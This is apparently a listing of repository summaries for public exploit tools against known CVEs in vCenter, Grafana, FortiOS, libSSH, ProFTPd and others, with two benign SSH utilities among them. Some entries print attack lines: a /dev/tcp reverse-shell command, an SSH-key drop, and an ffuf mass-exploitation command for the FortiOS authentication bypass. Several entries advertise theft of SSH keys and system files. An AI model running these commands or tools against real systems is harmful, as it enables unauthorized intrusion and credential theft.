CVE-2021-21972

Usage:CVE-2021-21972.py option -u or --url: Target URL -t or --type: Payload type ssh/webshell -f or --file: File to upload webshell or authorizedkeys Example: CVE-2021-21972.py -u https://127.0.0.1 -t webshell -f shell.jsp -p or --proxy: Set proxy Example: CVE-2021-21972.py -u https://127.0.0.1 ...

vSphereyeeter

vsphereyeeter.sh is an automated bash script to exploit vulnerabilty CVE-2021-21972 in the vSphere Client for vCenter servers. Once executed simply give it the IP Address of your vulnerable target and you will be presented with an SSH shell. "The vSphere Client HTML5 contains a remote code...

debian-ssh

Debian OpenSSL Predictable PRNG Links Original URL: http://metasploit.com/users/hdm/tools/debian-openssl/1 Mirror2 Exploit: https://www.exploit-db.com/exploits/5622/ Perl3 https://www.exploit-db.com/exploits/5720/ Python4 https://www.exploit-db.com/exploits/5632/ Ruby12 Recommend Tool: Crowbar13...

CVE-2024-21626-demo

CVE-2024-21626-demo Demo for the LT at Container Runtime Meetup 5. This is to raise awareness of the attack risk based on publicly known information, and misuse is strictly prohibited. Slides Container Runtime Meetup 5 - Can You Really Trust That Image? Taking Host Root with CVE-2024-21626 Loggin...

CVE-2024-46987

CVE-2024-46987 Exploit - Camaleon CMS Path Traversal This tool exploits a Path Traversal vulnerability in Camaleon CMS CVE-2024-46987. It allows for arbitrary file download and includes an automated feature to attempt to retrieve SSH keys from users discovered on the system. Features Arbitrary Fi...

CVE-2021-43798

CVE-2021-43798 Directory Traversal and Arbitrary File Read on Grafana Authors: Wagner Alves - Red Team Analyst This exploit leverages Directory Traversal and Arbitrary File Read vulnerabilities in Grafana 8.0 - 8.3, allowing it to read files such as /etc/passwd, /etc/hosts, /home/user/.ssh/idrsa,...

CVE-2022-40684

Description Exploit for CVE-2022-40684 authentication bypass vulnerability affecting FortiOS, FortiProxy and FortiSwitchManager appliances. Disclaimer This tool is intended for demonstration purposes, only use against systems where you have explicit authorization. Project maintainer is not...

CVE-2015-3306

CVE-2015-3306 This contains single-file exploit for ProFTPd 1.3.5 modcopy CVE-2015-3306 vulnerability, especially for TryHackMe Kenobi Lab. Vulnerability Description CVE-2015-3306 is a vulnerability found in ProFTPd 1.3.5 due to a flaw in the modcopy module, which is responsible for enabling FTP...

CVE-2022-40684

CVE-2022-40684 CVSS score: 9.6 POC for CVE-2022-40684 affecting Fortinet FortiOS, FortiProxy, and FortiSwitchManager appliances. Vulnerable Products FortiOS versions between 7.0.0 – 7.0.6 and 7.2.0 – 7.2.1 FortiProxy versions between 7.0.0 – 7.0.6 and version 7.2.0 FortiSwitchManager versions 7.0...

Grafxploit

Automated Exploit Tool for Grafana CVE-2021-43798 Overview This project is an automated exploit tool designed to scan for and extract sensitive information from compromised Grafana instances vulnerable to CVE-2021-43798. The tool identifies vulnerable plugins and extracts SSH keys from compromise...

CVE-2024-47533

Reverse shell python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'bash -c "bash -i & /dev/tcp/10.10.14.23/4444 0&1"' Simple command python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'id' Drop SSH key python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'mkdir -p...

CVE-2022-40684

CVE-2022-40684 POC for CVE-2022-40684 affecting Fortinet FortiOS, FortiProxy, and FortiSwitchManager appliances. Technical Analysis A technical root cause analysis of the vulnerability can be found on our blog:...

CVE-2022-40684

CVE-2022-40684 POC for CVE-2022-40684 affecting Fortinet FortiOS, FortiProxy, and FortiSwitchManager appliances. Technical Analysis A technical root cause analysis of the vulnerability can be found on our blog:...

Fortinet-CVE-2022-40684

Fortinet-CVE-2022-40684 Tool Introduction Quick exploitation tool for CVE-2022-40684, beginner code, feel free to submit issues if you find any Usage main -t http://127.0.0.1 -u admin -f path-of-ssh-key.pub Disclaimer This tool is only intended for legally authorized enterprise security practices...

CVE-2018-10933-libSSH-Authentication-Bypass

libSSH-Authentication-Bypass Spawn to shell without any credentials by using CVE-2018-10933 Information about CVE-2018-10933 by libSSH : https://www.libssh.org/security/advisories/CVE-2018-10933.txt Bugfix Release by libSSH :...

CVE-2023-34039

CVE-2023-34039 POC for CVE-2023-34039 VMWare Aria Operations for Networks vRealize Network Insight Static SSH key RCE Technical Analysis A root cause analysis of the vulnerability can be found on my blog: https://summoning.team/blog/vmware-vrealize-network-insight-rce-cve-2023-34039/ Summary VMWa...

authkeysync

AuthKeySync Automatically synchronize SSH public keys from remote URLs to your servers 📖 Full Documentation The Problem Managing SSH access across multiple servers is painful: Team members join or leave, and you need to update authorizedkeys on every server Developers rotate their SSH keys, and n...

CVE-2022-40684-POC

CVE-2022-40684-POC FortiProxy / FortiOS Authentication bypass Mass exploitation /api/v2/cmdb/system/admin/ "ssh-public-key1": "" ffuf -c -w hosts.txt -u FUZZ/api/v2/cmdb/system/admin/admin -X PUT -H 'User-Agent: Report Runner' -H 'Content-Type: application/json' -H 'Forwarded: for="127.0.0.1...

sidedoor

sidedoor sidedoor maintains an SSH connection or tunnel with a shell script daemon. The primary use case is maintaining a remote port forward to the local SSH server or another port. Thus, the local device can be accessed without using incoming connections that may be blocked by a NAT or firewall...

CVE-2022-40684

CVE-2022-40684 by 1vere$k For now it's a POC copy for CVE-2022-40684 affecting Fortinet FortiOS, FortiProxy, and FortiSwitchManager appliances. Coppied from https://github.com/horizon3ai/CVE-2022-40684 Analysis The exploit uses the simple payload: PUT /api/v2/cmdb/system/admin/admin HTTP/1.1 Host...